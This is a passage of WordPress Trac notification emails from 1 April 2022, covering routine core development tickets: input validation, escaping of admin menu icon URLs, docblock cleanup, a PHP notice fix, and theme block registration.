-------------------------------------------------+------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53045" 53045]: {{{ #!CommitTicketReference repository="" revision="53045" General: Validate input of `wp_list_pluck()`. `wp_list_pluck()` is used by WordPress to pluck items from a list. Of course, this requires a list. This validates the input of `wp_list_pluck()` to ensure it is a list. This matches the behaviour of `wp_list_sort()` and `wp_filter_object_list()`. Props marv2, davidbaumwald, mkox, SergeyBiryukov, dd32. Fixes #54751. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54751#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 06:16:54 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 06:16:54 -0000 Subject: [wp-trac] [WordPress Trac] #50773: Merge duplicate strings in bulk actions and row actions for list tables In-Reply-To: <058.9d9f2aa06fc6473c1634cfba8e03fd4e@wordpress.org> References: <058.9d9f2aa06fc6473c1634cfba8e03fd4e@wordpress.org> Message-ID: <073.2e5f98b1cc09ab1a866aac5eba798beb@wordpress.org> #50773: Merge duplicate strings in bulk actions and row actions for list tables -------------------------------------------------+------------------------- Reporter: SergeyBiryukov | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: I18N | Version: Severity: normal | Resolution: Keywords: has-patch needs-testing needs- | Focuses: ui, testing-info | administration -------------------------------------------------+------------------------- Comment (by Toro_Unit): We reviewed this ticket during a recent [bug-scrub session](https://wordpress.slack.com/archives/C02RQBWTW/p1648791507136399) @SergeyBiryukov Interested in addressing this ticket in 6.0? Also, can anyone review these patches? -- Ticket URL: <https://core.trac.wordpress.org/ticket/50773#comment:30> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 07:50:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 07:50:30 -0000 Subject: [wp-trac] [WordPress Trac] #55496: Escaping function missing. In-Reply-To: <055.47c21e308f0655151d281269da7b55c4@wordpress.org> References: <055.47c21e308f0655151d281269da7b55c4@wordpress.org> Message-ID: <070.ac3c9e1dbf36824e9595ed32a7ca9816@wordpress.org> #55496: Escaping function missing. -------------------------------------+----------------------------- Reporter: chintan1896 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Menus | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: administration -------------------------------------+----------------------------- Changes (by jigar bhanushali): * Attachment "55496.2.patch" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55496> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 07:52:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 07:52:40 -0000 Subject: [wp-trac] [WordPress Trac] #55496: Escaping function missing. In-Reply-To: <055.47c21e308f0655151d281269da7b55c4@wordpress.org> References: <055.47c21e308f0655151d281269da7b55c4@wordpress.org> Message-ID: <070.ab6eef0b68ccc633e55b5888425a88dc@wordpress.org> #55496: Escaping function missing. -------------------------------------+----------------------------- Reporter: chintan1896 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Menus | Version: Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: administration -------------------------------------+----------------------------- Comment (by jigar bhanushali): @mukesh27 changes applied. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55496#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 08:17:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 08:17:55 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.381a391519e98693a3d8d23eededbdf4@wordpress.org> #55506: HTML tags not escaped ----------------------------------------+--------------------- Reporter: gvgvgvijayan | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: good-first-bug needs-patch | Focuses: docs ----------------------------------------+--------------------- Changes (by azouamauriac): * keywords: good-first-bug has-patch => good-first-bug needs-patch Comment: Hello @rsiddharth thanks for the patch it looks good for me, but as you are at it, would you mind to fix some related typos in the same file? here they are : - WP_REST_URL_Details_Controller::get_document_head; - WP_REST_URL_Details_Controller::get_meta_with_content_elements, - WP_REST_URL_Details_Controller::parse_url_details, The summary of the above functions contain html tag, can you fix them please? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 08:18:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 08:18:51 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.c58ab6523c076caa2ea87ca82e51d05c@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by azouamauriac): Related: #55506 -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:53> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 08:30:21 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 08:30:21 -0000 Subject: [wp-trac] [WordPress Trac] #54729: Docblock improvements for WP 6.0 In-Reply-To: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> References: <058.e97648b36f9e1c40d59d78da529f4b69@wordpress.org> Message-ID: <073.12d1b7c6a6092cf72a81baf2c4044e5a@wordpress.org> #54729: Docblock improvements for WP 6.0 ----------------------------+--------------------- Reporter: hellofromTonya | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: docs ----------------------------+--------------------- Comment (by audrasjb): In [changeset:"53046" 53046]: {{{ #!CommitTicketReference repository="" revision="53046" Docs: Use third-person singular verbs for function descriptions in `WP_Embed` class, per the documentation standards. See #54729. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54729#comment:54> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 08:54:38 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 08:54:38 -0000 Subject: [wp-trac] [WordPress Trac] #55512: Gallery gap adjustment in Gutenberg 12.9.0 does not work Message-ID: <052.ec3b8aa8af75e0e600fa20033f017c63@wordpress.org> #55512: Gallery gap adjustment in Gutenberg 12.9.0 does not work --------------------------+----------------------------- Reporter: burnuser | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Gallery | Version: 5.9.2 Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- I tried the new gallery gap support in Gutenberg 12.9.0 on Twenty Twenty- Two (and other FSE Themes) in several test environments, including a completely new one on https://wpsandbox.net/ The result is every time the same: Inserting a gallery (e.g. 6 images in 3 columns) works as regular. But any entered value in "block spacing" converts the gallery in a single column (with gaps acording to the entered value) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55512> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 09:09:43 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 09:09:43 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.49ae1423789d13a221e6f38658b8ce41@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------------------+------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: early has-patch has- | Focuses: administration, unit-tests commit | multisite, performance -------------------------------------+------------------------------------- Comment (by dd32): @spacedmonkey after https://core.trac.wordpress.org/changeset/53011/trunk/src/wp- admin/includes/class-wp-posts-list-table.php the following PHP Notice will be triggered on large networks: {{{ E_NOTICE: Undefined variable: authors_dropdown in wp-admin/includes/class-wp-posts-list-table.php:1752 }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:85> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 09:12:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 09:12:36 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.41bcd8cd9db0f7d66cb6cac829e50835@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------------------+------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: early has-patch has- | Focuses: administration, unit-tests commit | multisite, performance -------------------------------------+------------------------------------- Comment (by spacedmonkey): @dd32 Is this in a single or multisite? -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:86> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 09:14:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 09:14:33 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.e6556507c9770a3a83f1c944f76de921@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------------------+------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: early has-patch has- | Focuses: administration, unit-tests commit | multisite, performance -------------------------------------+------------------------------------- Comment (by dd32): Replying to [comment:86 spacedmonkey]: > Is this in a single or multisite? Multisite, but I don't think it matters; `$authors_dropdown` is only defined within that `if` branch, but is used within other branches which only have the `post_type_supports()` check. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:87> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 09:22:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 09:22:35 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.089e47be61496db33cdaae2fa07730cd@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------------------+------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: fixed Keywords: early has-patch has- | Focuses: administration, unit-tests commit | multisite, performance -------------------------------------+------------------------------------- Comment (by spacedmonkey): Created a PR with a simple fix [https://github.com/WordPress/wordpress- develop/pull/2493 #2493]. Can @johnbillion or @dd32 take a look. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:89> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 09:54:47 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 09:54:47 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.ba3fe386e57586fb093b5a4301620917@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Changes (by johnbillion): * keywords: early has-patch has-unit-tests commit => has-patch * status: closed => reopened * resolution: fixed => -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:90> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 10:21:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 10:21:35 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.f1d959ad847ff2fd7c531636bfa49368@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Comment (by tharsheblows): `wp_dropdown_users()` is filterable and people (including me 😊 ) will be using it even with large sites so it shouldn't be skipped. What to do depends on the scope of this ticket -- I'm not sure if updating `wp_dropdown_users()` is within scope or not, there is an open ticket here #19867 so probably not. Instead of doing the check on `wp_is_large_user_count()` in this patch: https://github.com/WordPress/wordpress-develop/pull/2493/files , take out both checks there (ie the patch and the reason for it). Then commit this and work on the `wp_dropdown_users()` ticket above. I think but am not completely 100% sure that that's the only place `wp_is_large_user_count()` is used to conditionally load `wp_dropdown_users()` but if there are more in this patch, remove those as well. -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:91> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 10:23:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 10:23:23 -0000 Subject: [wp-trac] [WordPress Trac] #53370: Theme thumbnail/screenshot does not contain version string In-Reply-To: <051.3a06ddf426d345c79d48278599045119@wordpress.org> References: <051.3a06ddf426d345c79d48278599045119@wordpress.org> Message-ID: <066.7c44bcf1e2e2fba566068a374dd629b2@wordpress.org> #53370: Theme thumbnail/screenshot does not contain version string -------------------------+----------------------- Reporter: codente | Owner: audrasjb Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Themes | Version: 5.7.2 Severity: minor | Resolution: fixed Keywords: | Focuses: -------------------------+----------------------- Changes (by audrasjb): * status: reopened => closed * resolution: => fixed Comment: I think we can close this as fixed, the REST endpoint should be implemented on a dedicated ticket, since we need to make sure it's backward compatible and also plugin icons would probably deserve the same treatment. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53370#comment:21> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 10:26:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 10:26:50 -0000 Subject: [wp-trac] [WordPress Trac] #54561: Avoid translating several times widget media default strings In-Reply-To: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> References: <050.8194aa47e159010e88e89c613a42c1b9@wordpress.org> Message-ID: <065.d6d28652b80368e2fb3eb677e743ebe7@wordpress.org> #54561: Avoid translating several times widget media default strings -------------------------+-------------------------- Reporter: Chouby | Owner: audrasjb Type: enhancement | Status: reviewing Priority: normal | Milestone: 6.0 Component: Widgets | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch | Focuses: performance -------------------------+-------------------------- Comment (by audrasjb): I don't think any specific action is needed. What do you think @Chouby? -- Ticket URL: <https://core.trac.wordpress.org/ticket/54561#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 10:36:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 10:36:17 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.6df6af4012acf04d2c34f0523b721e65@wordpress.org> #55506: HTML tags not escaped ----------------------------------------+--------------------- Reporter: gvgvgvijayan | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: Keywords: good-first-bug needs-patch | Focuses: docs ----------------------------------------+--------------------- Comment (by gvgvgvijayan): Thanks all. Got it, next time will post at https://meta.trac.wordpress.org/newticket -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 10:42:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 10:42:11 -0000 Subject: [wp-trac] [WordPress Trac] #55513: Allow registration of blocks containing scripts / styles that need to get enqueued from within a Theme Message-ID: <055.8ccb3e670955a2f8f9871d3b93063155@wordpress.org> #55513: Allow registration of blocks containing scripts / styles that need to get enqueued from within a Theme -------------------------+----------------------------- Reporter: fabiankaegy | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | -------------------------+----------------------------- Currently, it is not possible to register a block from within a theme if the block contains a `script`, `editorScript`, `viewScript`, etc. because core assumes that a block must exist in a plugin. Which is and should remain the best practice. But there are cases where registering blocks within a theme makes sense and it would be great for that to also be supported. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55513> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 10:42:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 10:42:12 -0000 Subject: [wp-trac] [WordPress Trac] #55503: Post Date display issue if we set empty from General Settings page In-Reply-To: <053.b21b3a6386e31f62eaf63a305e719594@wordpress.org> References: <053.b21b3a6386e31f62eaf63a305e719594@wordpress.org> Message-ID: <068.dce68d697c74c7022a77f5f5eff08e2c@wordpress.org> #55503: Post Date display issue if we set empty from General Settings page --------------------------+------------------------------ Reporter: rishishah | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Date/Time | Version: Severity: normal | Resolution: Keywords: | Focuses: administration --------------------------+------------------------------ Changes (by jariwalasagar): * Attachment "55503.1.patch" added. Instead of add static Date/Time format, We can use previous stored data if custom formats are null. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55503> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 10:47:35 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 10:47:35 -0000 Subject: [wp-trac] [WordPress Trac] #54633: Updating permalinks with .htaccess non writable : the message to copy the mod_rewrite is not adapted to each OS In-Reply-To: <051.8fdfdac5909cb1599ef415eac96f36d4@wordpress.org> References: <051.8fdfdac5909cb1599ef415eac96f36d4@wordpress.org> Message-ID: <066.24ab0ee7d6231f55e7b9f345c2aec477@wordpress.org> #54633: Updating permalinks with .htaccess non writable : the message to copy the mod_rewrite is not adapted to each OS -------------------------------------------------+------------------------- Reporter: Valer1e | Owner: audrasjb Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Rewrite Rules | Version: Severity: normal | Resolution: Keywords: has-patch commit assigned-for- | Focuses: commit | administration -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch => has-patch commit assigned-for-commit Comment: I refreshed the patch and I confirmed it addresses the comment above. Self assigning for `commit`. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54633#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 10:49:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 10:49:31 -0000 Subject: [wp-trac] [WordPress Trac] #55513: Allow registration of blocks containing scripts / styles that need to get enqueued from within a Theme In-Reply-To: <055.8ccb3e670955a2f8f9871d3b93063155@wordpress.org> References: <055.8ccb3e670955a2f8f9871d3b93063155@wordpress.org> Message-ID: <070.d05ee65a9b9582324f398dfeae32de9d@wordpress.org> #55513: Allow registration of blocks containing scripts / styles that need to get enqueued from within a Theme -------------------------+------------------------------ Reporter: fabiankaegy | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: -------------------------+------------------------------ Comment (by ocean90): This is a duplicate of #54647 and #55486. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55513#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 11:07:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 11:07:55 -0000 Subject: [wp-trac] [WordPress Trac] #54633: Updating permalinks with .htaccess non writable : the message to copy the mod_rewrite is not adapted to each OS In-Reply-To: <051.8fdfdac5909cb1599ef415eac96f36d4@wordpress.org> References: <051.8fdfdac5909cb1599ef415eac96f36d4@wordpress.org> Message-ID: <066.f90ec674d28c30a04eb4ad9388aa480d@wordpress.org> #54633: Updating permalinks with .htaccess non writable : the message to copy the mod_rewrite is not adapted to each OS -------------------------------------------------+------------------------- Reporter: Valer1e | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Rewrite Rules | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit assigned-for- | Focuses: commit | administration -------------------------------------------------+------------------------- Changes (by audrasjb): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53047" 53047]: {{{ #!CommitTicketReference repository="" revision="53047" Adds "select all" shortcut for Mac on permalinks page when `.htaccess` is not writable. This change improves the description of the "select all" shortcut for Mac users in Permalink Settings screen. Props Valer1e, ajoah, audrasjb, SergeyBiryukov. Fixes #54633. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54633#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 11:28:49 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 11:28:49 -0000 Subject: [wp-trac] [WordPress Trac] #54647: Blocks: Add support for themes to block API v2 with assets in block.json In-Reply-To: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> References: <057.04d95fbe984f01c6c75fb8f49f7a3983@wordpress.org> Message-ID: <072.76f9e9681e362a9fc1e573ad9ff70d62@wordpress.org> #54647: Blocks: Add support for themes to block API v2 with assets in block.json -------------------------------------------+------------------------------ Reporter: whoisnegrello | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Editor | Version: 5.5 Severity: normal | Resolution: Keywords: has-patch needs-testing close | Focuses: -------------------------------------------+------------------------------ Comment (by fabiankaegy): Thanks @ocean90 for flagging that I created a duplicate ticket. I have also created a patch here: https://github.com/WordPress/wordpress- develop/pull/2494 As far as the rationale for not including blocks in themes goes I agree with it from the best practices standpoint. Yes, themes should only worry about the visual representation, and plugins should worry about the functionality. However, there sometimes are cases where that distinction isn't that clear. Especially in purpose build custom themes it does arise, that blocks are created as layout tools that wouldn't work without the theme's styling because the block essentially is the foundational building block of the theme. A workaround for this can be found here for example: https://github.com/10up/wp- scaffold/blob/a2586e31dcea350faa6d28373e606c17a045d44d/themes/10up- theme/includes/blocks.php#L51 where filtering the `plugins_url` allows a hacky way to achieve the same result. I don't think it should be necessary to have such hacky workarounds in place. Yes, the best practice should always be to put them into plugins. But there are special use-cases where it also makes sense to allow it for custom-tailored themes. This was also discussed in the third installment of the Core Gutenberg Developer Hours between @gziolo and myself. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54647#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 11:33:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 11:33:34 -0000 Subject: [wp-trac] [WordPress Trac] #55506: HTML tags not escaped In-Reply-To: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> References: <056.dd5d8c909551f713d24e56527523721b@wordpress.org> Message-ID: <071.a80d3e93d9c9f281cfa3b06b73184c52@wordpress.org> #55506: HTML tags not escaped ----------------------------------------+----------------------------- Reporter: gvgvgvijayan | Owner: SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: REST API | Version: 5.9 Severity: normal | Resolution: fixed Keywords: good-first-bug needs-patch | Focuses: docs ----------------------------------------+----------------------------- Changes (by SergeyBiryukov): * owner: (none) => SergeyBiryukov * status: new => closed * resolution: => fixed Comment: In [changeset:"53048" 53048]: {{{ #!CommitTicketReference repository="" revision="53048" Docs: Remove HTML markup from `WP_REST_URL_Details_Controller` class method summaries. Per the [https://developer.wordpress.org/coding-standards/inline- documentation-standards/php/#summary-formerly-short-description WordPress PHP documentation standards], no HTML markup or Markdown of any kind should be used in the summary. This ensures that the summary is displayed correctly in the [https://developer.wordpress.org/reference/ WordPress Code Reference]. Props gvgvgvijayan, rsiddharth, azouamauriac, SergeyBiryukov. Fixes #55506. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55506#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 11:41:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 11:41:40 -0000 Subject: [wp-trac] [WordPress Trac] #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users In-Reply-To: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> References: <055.97ac093a8b92617e1098c75543bb32e3@wordpress.org> Message-ID: <070.e800c3325342e4d85306f3b003cbaa62@wordpress.org> #38741: Introduce the concept of a large site in order to speed up the Users screen when there are many users -------------------------+------------------------------------------------- Reporter: johnbillion | Owner: spacedmonkey Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Users | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: administration, multisite, | performance -------------------------+------------------------------------------------- Comment (by spacedmonkey): In [changeset:"53049" 53049]: {{{ #!CommitTicketReference repository="" revision="53049" Users: Fix notice error in `WP_Posts_List_Table` class. Fix notice error introduced in [53011] as the variable `$authors_dropdown` is now conditionally loaded. Follow-up to [53011]. Props Spacedmonkey, dd32, johnbillion. See #38741. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/38741#comment:92> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 11:44:41 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 11:44:41 -0000 Subject: [wp-trac] [WordPress Trac] #55496: Escaping function missing. In-Reply-To: <055.47c21e308f0655151d281269da7b55c4@wordpress.org> References: <055.47c21e308f0655151d281269da7b55c4@wordpress.org> Message-ID: <070.0a43d5cf36c4f2a52c22b938b5e6b9df@wordpress.org> #55496: Escaping function missing. --------------------------+----------------------------- Reporter: chintan1896 | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Menus | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: administration --------------------------+----------------------------- Changes (by SergeyBiryukov): * keywords: has-patch needs-refresh => has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/55496#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 11:45:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 11:45:15 -0000 Subject: [wp-trac] [WordPress Trac] #55496: Escaping function missing. In-Reply-To: <055.47c21e308f0655151d281269da7b55c4@wordpress.org> References: <055.47c21e308f0655151d281269da7b55c4@wordpress.org> Message-ID: <070.eded22ec07d612292f455fdc08bfc4e7@wordpress.org> #55496: Escaping function missing. --------------------------+----------------------------- Reporter: chintan1896 | Owner: SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Menus | Version: Severity: normal | Resolution: fixed Keywords: has-patch | Focuses: administration --------------------------+----------------------------- Changes (by SergeyBiryukov): * owner: (none) => SergeyBiryukov * status: new => closed * resolution: => fixed Comment: In [changeset:"53050" 53050]: {{{ #!CommitTicketReference repository="" revision="53050" Administration: Consistently escape icon URLs in the admin menu. Follow-up to [9154], [26664]. Props chintan1896, jigar-bhanushali, mukesh27. Fixes #55496. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55496#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 1 12:03:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 01 Apr 2022 12:03:59 -0000 Subject: [wp-trac] 